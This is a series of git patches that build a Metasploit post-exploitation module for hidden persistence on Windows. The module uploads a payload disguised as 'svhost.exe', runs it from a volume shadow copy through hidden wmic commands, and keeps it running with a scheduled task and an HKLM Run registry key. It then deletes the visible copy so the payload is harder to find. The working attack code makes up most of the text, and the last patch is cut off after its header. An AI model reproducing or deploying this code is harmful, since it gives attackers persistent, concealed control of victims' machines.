From 2ee1b1c1c2266eeb074e8b0914c117a4ecc11c44 Mon Sep 17 00:00:00 2001 From: MrXors Date: Thu, 10 Oct 2013 17:20:09 -0700 Subject: [PATCH 01/14] VSS Persistence on Windows 7 --- .../post/windows/manage/vss_persistence.rb | 185 ++++++++++++++++++ 1 file changed, 185 insertions(+) create mode 100644 modules/post/windows/manage/vss_persistence.rb diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb new file mode 100644 index 0000000000..4be959d230 --- /dev/null +++ b/modules/post/windows/manage/vss_persistence.rb @@ -0,0 +1,185 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/windows/shadowcopy' +require 'msf/core/post/windows/priv' +require 'msf/core/post/common' + +class Metasploit4 < Msf::Post + + include Msf::Post::File + include Msf::Post::Common + include Msf::Post::Windows::Priv + include Msf::Post::Windows::ShadowCopy + include Msf::Post::Windows::Services + include Msf::Post::Windows::Registry + + def initialize(info={}) + + super(update_info(info, + 'Name' => "Windows Manage Create Persistant Payload in Shadow Copy", + 'Description' => %q{ + This module will attempt to create a persistant payload + in new volume shadow copy.This is based on the VSSOwn + Script originally posted by Tim Tomes and Mark Baggett. + Works on win2k3 and later. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['MrXors'], + 'References' => [[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ]] + )) + register_options( + [ + OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']), + OptString.new('SCHTASK', [ false, 'Create a schtask.exe for EXE.', ]), + OptString.new('RUNKEY', [ false, 'Create AutoRun Key on HKLM\Software\Microsoft\Windows\CurrentVersion\Run .', ]), + OptInt.new('DELAY', [ false, 'Delay in Minutes for Reconnect attempt.Needs SCHTASK set to true to work.default delay is 1 minute.', 1]), + OptString.new('PATH', [ true, 'Path to exe on your local system.']) + ], self.class) + end + + def upload(session,file,trgloc = "") + #--------------------------------------------------------------------------- + #Upload Func + @clean_up = "" + if not ::File.exists?(file) + raise "File to Upload does not exists!" + else + if trgloc == "" + location = session.fs.file.expand_path("%TEMP%") + else + location = trgloc + end + begin + ext = file[file.rindex(".") .. -1] + if ext and ext.downcase == ".exe" + file_name = "svhost#{rand(100)}.exe" + fileontrgt = "#{location}\\#{file_name}" + else + fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}" + end + print_status("Uploading #{file}....") + session.fs.file.upload_file("#{fileontrgt}","#{file}") + print_status("#{file} uploaded!") + print_status("Uploaded as #{fileontrgt}") + rescue ::Exception => e + print_status("Error uploading file #{file}: #{e.class} #{e}") + raise e + end + end + #------------------------------------------------------------------------ + #Create Volume Shadoy Copy + unless is_admin? + print_error("This module requires admin privs to run") + return + end + if is_uac_enabled? + print_error("This module requires UAC to be bypassed first") + return + end + unless start_vss + return + end + id = create_shadowcopy(datastore['VOLUME']) + if id + print_good "Shadow Copy #{id} created!" + end + #------------------------------------------------------------------------------------ + #Find Last Volume Shadow Copy + cmd = "cmd.exe /c vssadmin List Shadows\| find \"Shadow Copy Volume\"" + r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) + volume_id=[] + volume_data_id=[] + dumb = "" + while(d = r.channel.read) + volume_id="#{d}" + volume_id.each_line do |line| + new_line = /HarddiskVolumeShadowCopy\d{1,3}/.match("#{line}") + if new_line.nil? + dump = "1" + else + volume_data_id = "#{new_line}" + end + end + end + #----------------------------------------------------------------------------- + #Run Malware + run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}", nil, {'Hidden' => true}) + #----------------------------------------------------------------------------------------------------------------- + #Close Channel + r.channel.close + r.close + #----------------------------------------------------------------------------- + #Create Schtask with schtasks.exe + sch_name = Rex::Text.rand_text_alpha(rand(8)+8) + if datastore["SCHTASK"].nil? or datastore["SCHTASK"].empty? + print_status("Passing on Service") + else + print_good("Creating Service..........") + service_malware_go = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}", nil, {'Hidden' => true}) + @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" + end + #------------------------------------------------------------------------------ + #Delete Malware + print_good("Deleting Malware #{location}\\#{file_name}!") + delete_cmd = session.sys.process.execute("cmd.exe /c del %TEMP%\\#{file_name}", nil, {'Hidden' => true}) + delete_cmd.close + print_good("Clean Up Complete.") + #----------------------------------------------------------------------------------------------------------- + #Create Run Key + if datastore["RUNKEY"].nil? or datastore["RUNKEY"].empty? + print_status("Not Setting Run Key.") + else + def write_to_reg(key,path_to_exe) + nam = Rex::Text.rand_text_alpha(rand(8)+8) + print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + if(key) + registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,path_to_exe,"REG_SZ") + print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + @clean_up << "reg deleteval -k #{key}\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n" + else + print_error("Error: failed to open the registry key for writing") + end + end + write_to_reg("HKLM", "\\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}") + end + #------------------------------------------------------------------------------------------------------- + #Log Function + def log_file(log_path = nil) + #Get hostname + host = session.sys.config.sysinfo["Computer"] + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + else + logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + end + # Create the log directory + ::FileUtils.mkdir_p(logs) + #logfile name + logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" + return logfile + end + clean_rc = log_file() + file_local_write(clean_rc,@clean_up) + print_status("Cleanup Meterpreter RC File: #{clean_rc}") + + return fileontrgt + end + #---------------------------------------------- + #Runner + def run + print_good("Uploading Payload to machine.") + upload(session,"#{datastore['PATH']}","C:\\Windows\\Temp") + end +end From 3c8318e001ad2ebcf372b5acbc5babfe63cfbf16 Mon Sep 17 00:00:00 2001 From: MrXors Date: Fri, 11 Oct 2013 07:10:56 -0700 Subject: [PATCH 02/14] Changed Nothing Really --- modules/post/windows/manage/vss_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 4be959d230..41b6198a84 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -177,7 +177,7 @@ class Metasploit4 < Msf::Post return fileontrgt end #---------------------------------------------- - #Runner + #Run Upload func def run print_good("Uploading Payload to machine.") upload(session,"#{datastore['PATH']}","C:\\Windows\\Temp") From 668d5cc3ae3d7b70c1d0c0043fc16d1374b85462 Mon Sep 17 00:00:00 2001 From: MrXors Date: Fri, 11 Oct 2013 07:57:15 -0700 Subject: [PATCH 03/14] Added the option to choose to run .exe --- modules/post/windows/manage/vss_persistence.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 41b6198a84..f66067fe7d 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -33,12 +33,13 @@ class Metasploit4 < Msf::Post 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], - 'Author' => ['MrXors'], + 'Author' => ['MrXors Mr.Xorsgmail.com'], 'References' => [[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ]] )) register_options( [ OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']), + OptString.new('EXECUTE', [ true, 'Run the .exe on the remote system.', true]), OptString.new('SCHTASK', [ false, 'Create a schtask.exe for EXE.', ]), OptString.new('RUNKEY', [ false, 'Create AutoRun Key on HKLM\Software\Microsoft\Windows\CurrentVersion\Run .', ]), OptInt.new('DELAY', [ false, 'Delay in Minutes for Reconnect attempt.Needs SCHTASK set to true to work.default delay is 1 minute.', 1]), @@ -112,7 +113,11 @@ class Metasploit4 < Msf::Post end #----------------------------------------------------------------------------- #Run Malware - run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}", nil, {'Hidden' => true}) + if datastore["EXECUTE"].nil? or datastore["EXECUTE"].empty? + print_status("Not Running .EXE") + else + run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}", nil, {'Hidden' => true}) + end #----------------------------------------------------------------------------------------------------------------- #Close Channel r.channel.close From 66b82abb5de3e6615ce2b331a1a1b14803dec02e Mon Sep 17 00:00:00 2001 From: MrXors Date: Fri, 11 Oct 2013 08:05:18 -0700 Subject: [PATCH 04/14] Cleaned up running exe func to not run when false is selected --- modules/post/windows/manage/vss_persistence.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index f66067fe7d..03a0af5c1e 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -116,7 +116,12 @@ class Metasploit4 < Msf::Post if datastore["EXECUTE"].nil? or datastore["EXECUTE"].empty? print_status("Not Running .EXE") else - run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}", nil, {'Hidden' => true}) + if datastore["EXECUTE"] == "false" + print_status("Not Running .EXE") + else + print_good("Running uploaded Executable.") + run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}", nil, {'Hidden' => true}) + end end #----------------------------------------------------------------------------------------------------------------- #Close Channel From 36af43a3cbe4c9fa7370c9faff5683e55f924b4f Mon Sep 17 00:00:00 2001 From: MrXors Date: Fri, 11 Oct 2013 14:17:50 -0700 Subject: [PATCH 05/14] Added Changes and cleaned up code --- .../post/windows/manage/vss_persistence.rb | 135 +++++++----------- 1 file changed, 49 insertions(+), 86 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 03a0af5c1e..74a0fa4217 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -23,7 +23,7 @@ class Metasploit4 < Msf::Post def initialize(info={}) super(update_info(info, - 'Name' => "Windows Manage Create Persistant Payload in Shadow Copy", + 'Name' => "Persistant Payload in Windows Volume Shadow Copy", 'Description' => %q{ This module will attempt to create a persistant payload in new volume shadow copy.This is based on the VSSOwn @@ -34,50 +34,47 @@ class Metasploit4 < Msf::Post 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => ['MrXors Mr.Xorsgmail.com'], - 'References' => [[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ]] + 'References' => [ + [ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ], + [ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows']] )) register_options( [ OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']), - OptString.new('EXECUTE', [ true, 'Run the .exe on the remote system.', true]), - OptString.new('SCHTASK', [ false, 'Create a schtask.exe for EXE.', ]), - OptString.new('RUNKEY', [ false, 'Create AutoRun Key on HKLM\Software\Microsoft\Windows\CurrentVersion\Run .', ]), + OptBool.new('EXECUTE', [ true, 'Run the .exe on the remote system.', true]), + OptBool.new('SCHTASK', [ false, 'Create a schtask.exe for EXE.', false]), + OptBool.new('RUNKEY', [ false, 'Create AutoRun Key on HKLM\Software\Microsoft\Windows\CurrentVersion\Run .', false]), OptInt.new('DELAY', [ false, 'Delay in Minutes for Reconnect attempt.Needs SCHTASK set to true to work.default delay is 1 minute.', 1]), - OptString.new('PATH', [ true, 'Path to exe on your local system.']) + OptString.new('RPATH', [ false, 'Path on remote system to place Executable.Example \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]), + OptString.new('PATH', [ true, 'Path to Executable on your local system.']) ], self.class) end def upload(session,file,trgloc = "") - #--------------------------------------------------------------------------- - #Upload Func @clean_up = "" if not ::File.exists?(file) raise "File to Upload does not exists!" else if trgloc == "" - location = session.fs.file.expand_path("%TEMP%") + location = "\\Windows\\Temp" else location = trgloc end + ext = file[file.rindex(".") .. -1] + if ext and ext.downcase == ".exe" + file_name = "svhost#{rand(100)}.exe" + file_on_target = "#{location}\\#{file_name}" + else + file_on_target = "#{location}\\TMP#{rand(100)}#{ext}" + end + print_status("Uploading #{file}....") begin - ext = file[file.rindex(".") .. -1] - if ext and ext.downcase == ".exe" - file_name = "svhost#{rand(100)}.exe" - fileontrgt = "#{location}\\#{file_name}" - else - fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}" - end - print_status("Uploading #{file}....") - session.fs.file.upload_file("#{fileontrgt}","#{file}") - print_status("#{file} uploaded!") - print_status("Uploaded as #{fileontrgt}") - rescue ::Exception => e - print_status("Error uploading file #{file}: #{e.class} #{e}") - raise e + session.fs.file.upload_file("#{file_on_target}","#{file}") + rescue ::Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::NotFound, e.message) end end - #------------------------------------------------------------------------ - #Create Volume Shadoy Copy + unless is_admin? print_error("This module requires admin privs to run") return @@ -93,61 +90,33 @@ class Metasploit4 < Msf::Post if id print_good "Shadow Copy #{id} created!" end - #------------------------------------------------------------------------------------ - #Find Last Volume Shadow Copy + cmd = "cmd.exe /c vssadmin List Shadows\| find \"Shadow Copy Volume\"" - r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - volume_id=[] - volume_data_id=[] - dumb = "" - while(d = r.channel.read) - volume_id="#{d}" - volume_id.each_line do |line| - new_line = /HarddiskVolumeShadowCopy\d{1,3}/.match("#{line}") - if new_line.nil? - dump = "1" - else - volume_data_id = "#{new_line}" - end - end + volume_data_id = [] + output = cmd_exec(cmd) + output.each_line do |line| + cmd_regex = /HarddiskVolumeShadowCopy\d{1,3}/.match("#{line}") + volume_data_id = "#{cmd_regex}" end - #----------------------------------------------------------------------------- - #Run Malware - if datastore["EXECUTE"].nil? or datastore["EXECUTE"].empty? - print_status("Not Running .EXE") - else - if datastore["EXECUTE"] == "false" - print_status("Not Running .EXE") - else - print_good("Running uploaded Executable.") - run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}", nil, {'Hidden' => true}) - end + + if datastore["EXECUTE"] + print_good("Running Executable!") + run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}", nil, {'Hidden' => true}) end - #----------------------------------------------------------------------------------------------------------------- - #Close Channel - r.channel.close - r.close - #----------------------------------------------------------------------------- - #Create Schtask with schtasks.exe - sch_name = Rex::Text.rand_text_alpha(rand(8)+8) - if datastore["SCHTASK"].nil? or datastore["SCHTASK"].empty? - print_status("Passing on Service") - else + + if datastore["SCHTASK"] + sch_name = Rex::Text.rand_text_alpha(rand(8)+8) print_good("Creating Service..........") - service_malware_go = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}", nil, {'Hidden' => true}) - @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" + service_malware_go = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}", nil, {'Hidden' => true}) + @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" end - #------------------------------------------------------------------------------ - #Delete Malware + print_good("Deleting Malware #{location}\\#{file_name}!") - delete_cmd = session.sys.process.execute("cmd.exe /c del %TEMP%\\#{file_name}", nil, {'Hidden' => true}) + delete_cmd = session.sys.process.execute("cmd.exe /c del #{location}\\#{file_name}", nil, {'Hidden' => true}) delete_cmd.close print_good("Clean Up Complete.") - #----------------------------------------------------------------------------------------------------------- - #Create Run Key - if datastore["RUNKEY"].nil? or datastore["RUNKEY"].empty? - print_status("Not Setting Run Key.") - else + + if datastore["RUNKEY"] def write_to_reg(key,path_to_exe) nam = Rex::Text.rand_text_alpha(rand(8)+8) print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") @@ -159,37 +128,31 @@ class Metasploit4 < Msf::Post print_error("Error: failed to open the registry key for writing") end end - write_to_reg("HKLM", "\\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}") + write_to_reg("HKLM", "\\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}") end - #------------------------------------------------------------------------------------------------------- - #Log Function + def log_file(log_path = nil) - #Get hostname - host = session.sys.config.sysinfo["Computer"] - # Create Filename info to be appended to downloaded files + host = session.sys.config.sysinfo["Computer"] filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) else logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) end - # Create the log directory ::FileUtils.mkdir_p(logs) - #logfile name logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" return logfile end + clean_rc = log_file() file_local_write(clean_rc,@clean_up) print_status("Cleanup Meterpreter RC File: #{clean_rc}") - - return fileontrgt + return file_on_target end - #---------------------------------------------- - #Run Upload func + def run print_good("Uploading Payload to machine.") - upload(session,"#{datastore['PATH']}","C:\\Windows\\Temp") + upload(session,"#{datastore['PATH']}","#{datastore['RPATH']}") end + end From b505234bf60b162f148ef5d0c69af29489d9b01c Mon Sep 17 00:00:00 2001 From: MrXors Date: Mon, 14 Oct 2013 00:12:37 -0700 Subject: [PATCH 06/14] cleand up code and add run function --- .../post/windows/manage/vss_persistence.rb | 179 ++++++++++-------- 1 file changed, 103 insertions(+), 76 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 74a0fa4217..58933875a6 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -25,15 +25,15 @@ class Metasploit4 < Msf::Post super(update_info(info, 'Name' => "Persistant Payload in Windows Volume Shadow Copy", 'Description' => %q{ - This module will attempt to create a persistant payload - in new volume shadow copy.This is based on the VSSOwn + This module will attempt to create a persistant payload + in new volume shadow copy.This is based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. Works on win2k3 and later. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], - 'Author' => ['MrXors Mr.Xorsgmail.com'], + 'Author' => ['MrXors '], 'References' => [ [ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ], [ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows']] @@ -46,35 +46,12 @@ class Metasploit4 < Msf::Post OptBool.new('RUNKEY', [ false, 'Create AutoRun Key on HKLM\Software\Microsoft\Windows\CurrentVersion\Run .', false]), OptInt.new('DELAY', [ false, 'Delay in Minutes for Reconnect attempt.Needs SCHTASK set to true to work.default delay is 1 minute.', 1]), OptString.new('RPATH', [ false, 'Path on remote system to place Executable.Example \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]), - OptString.new('PATH', [ true, 'Path to Executable on your local system.']) + OptPath.new('PATH', [ true, 'Path to Executable on your local system.']) ], self.class) end - - def upload(session,file,trgloc = "") - @clean_up = "" - if not ::File.exists?(file) - raise "File to Upload does not exists!" - else - if trgloc == "" - location = "\\Windows\\Temp" - else - location = trgloc - end - ext = file[file.rindex(".") .. -1] - if ext and ext.downcase == ".exe" - file_name = "svhost#{rand(100)}.exe" - file_on_target = "#{location}\\#{file_name}" - else - file_on_target = "#{location}\\TMP#{rand(100)}#{ext}" - end - print_status("Uploading #{file}....") - begin - session.fs.file.upload_file("#{file_on_target}","#{file}") - rescue ::Rex::Post::Meterpreter::RequestError => e - fail_with(Failure::NotFound, e.message) - end - end + def run + path = "#{datastore['PATH']}" unless is_admin? print_error("This module requires admin privs to run") return @@ -86,73 +63,123 @@ class Metasploit4 < Msf::Post unless start_vss return end - id = create_shadowcopy(datastore['VOLUME']) - if id - print_good "Shadow Copy #{id} created!" - end - + upload(session, path, datastore['RPATH']) + volume_shadow_copy + delete_executable(@location, @file_name) cmd = "cmd.exe /c vssadmin List Shadows\| find \"Shadow Copy Volume\"" - volume_data_id = [] + volume_data_id = [] output = cmd_exec(cmd) output.each_line do |line| - cmd_regex = /HarddiskVolumeShadowCopy\d{1,3}/.match("#{line}") + cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}") volume_data_id = "#{cmd_regex}" end - + print_good("#{volume_data_id}") + execute_executable(volume_data_id, @location, @file_name) + schtasks(volume_data_id, @location, @file_name) + regkey(@glogal_location) + log_file + end + + def upload(session, file, trgloc="") + @location = "" + @file_name = "" + @file_on_target = "" + @clean_up = "" + if not ::File.exists?(file) + raise "File to Upload does not exists!" + else + if trgloc == "" + @location = "\\Windows\\Temp" + else + @location = trgloc + end + ext = file[file.rindex(".") .. -1] + if ext and ext.downcase == ".exe" + @file_name = "svhost#{rand(100)}.exe" + @file_on_target = "#{@location}\\#{@file_name}" + end + print_status("Uploading #{file}....") + begin + upload_file("#{@file_on_target}","#{file}") + rescue ::Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::NotFound, e.message) + end + end + end + + def volume_shadow_copy + begin + id = create_shadowcopy(datastore['VOLUME']) + rescue ::Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::NotFound, e.message) + end + if id + print_good("Shadow Volume Copy Created #{id}") + return true + else + return false + end + end + + def delete_executable(location, file_name) + print_good("Deleting Malware #{location}\\#{file_name}!") + delete_test = file_rm("#{location}\\#{file_name}") + print_good("Clean Up Complete.") + end + + def execute_executable(volume_id, exe_path, exe_name) + @glogal_location = "\\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\\#{exe_name}" if datastore["EXECUTE"] print_good("Running Executable!") - run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}", nil, {'Hidden' => true}) + run_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\\#{exe_name}" + run_malware = cmd_exec(run_cmd) + else + return end + end + def schtasks(volume_data_id, location, file_name) if datastore["SCHTASK"] sch_name = Rex::Text.rand_text_alpha(rand(8)+8) print_good("Creating Service..........") - service_malware_go = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}", nil, {'Hidden' => true}) - @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" + global_root = "\\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}" + sch_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr #{global_root}" + service_malware_go = cmd_exec(sch_cmd) + @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" + else + return end + end - print_good("Deleting Malware #{location}\\#{file_name}!") - delete_cmd = session.sys.process.execute("cmd.exe /c del #{location}\\#{file_name}", nil, {'Hidden' => true}) - delete_cmd.close - print_good("Clean Up Complete.") - + def regkey(path_to_exe) if datastore["RUNKEY"] - def write_to_reg(key,path_to_exe) - nam = Rex::Text.rand_text_alpha(rand(8)+8) - print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - if(key) - registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,path_to_exe,"REG_SZ") - print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - @clean_up << "reg deleteval -k #{key}\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n" - else - print_error("Error: failed to open the registry key for writing") - end - end - write_to_reg("HKLM", "\\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}") - end - - def log_file(log_path = nil) - host = session.sys.config.sysinfo["Computer"] - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - if log_path - logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + nam = Rex::Text.rand_text_alpha(rand(8)+8) + hklm_key = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" + print_status("Installing into autorun as #{hklm_key}\\#{nam}") + if nam + registry_setvaldata("#{hklm_key}",nam,path_to_exe,"REG_SZ") + print_good("Installed into autorun as #{hklm_key}\\#{nam}") + @clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n" else - logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + print_error("Error: failed to open the registry key for writing") end - ::FileUtils.mkdir_p(logs) - logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" - return logfile + else + return end - - clean_rc = log_file() - file_local_write(clean_rc,@clean_up) - print_status("Cleanup Meterpreter RC File: #{clean_rc}") - return file_on_target end - def run - print_good("Uploading Payload to machine.") - upload(session,"#{datastore['PATH']}","#{datastore['RPATH']}") + def clean_data + host = session.sys.config.sysinfo["Computer"] + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + ::FileUtils.mkdir_p(logs) + logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" + return logfile end + def log_file + clean_rc = clean_data() + file_local_write(clean_rc, @clean_up) + print_status("Cleanup Meterpreter RC File: #{clean_rc}") + end end From 17e5c63f7f75eb7335a8c0bc1078b8d174c909a4 Mon Sep 17 00:00:00 2001 From: MrXors Date: Mon, 14 Oct 2013 00:29:24 -0700 Subject: [PATCH 07/14] removed debugging prompts --- modules/post/windows/manage/vss_persistence.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 58933875a6..61b50b0d52 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -73,7 +73,6 @@ class Metasploit4 < Msf::Post cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}") volume_data_id = "#{cmd_regex}" end - print_good("#{volume_data_id}") execute_executable(volume_data_id, @location, @file_name) schtasks(volume_data_id, @location, @file_name) regkey(@glogal_location) From fc62b4c4eda8ece150d28ba83662f691e5a7b76c Mon Sep 17 00:00:00 2001 From: MrXors Date: Mon, 14 Oct 2013 09:16:54 -0700 Subject: [PATCH 08/14] removed global var from file_on_target and useless code --- modules/post/windows/manage/vss_persistence.rb | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 61b50b0d52..a76f78a231 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb 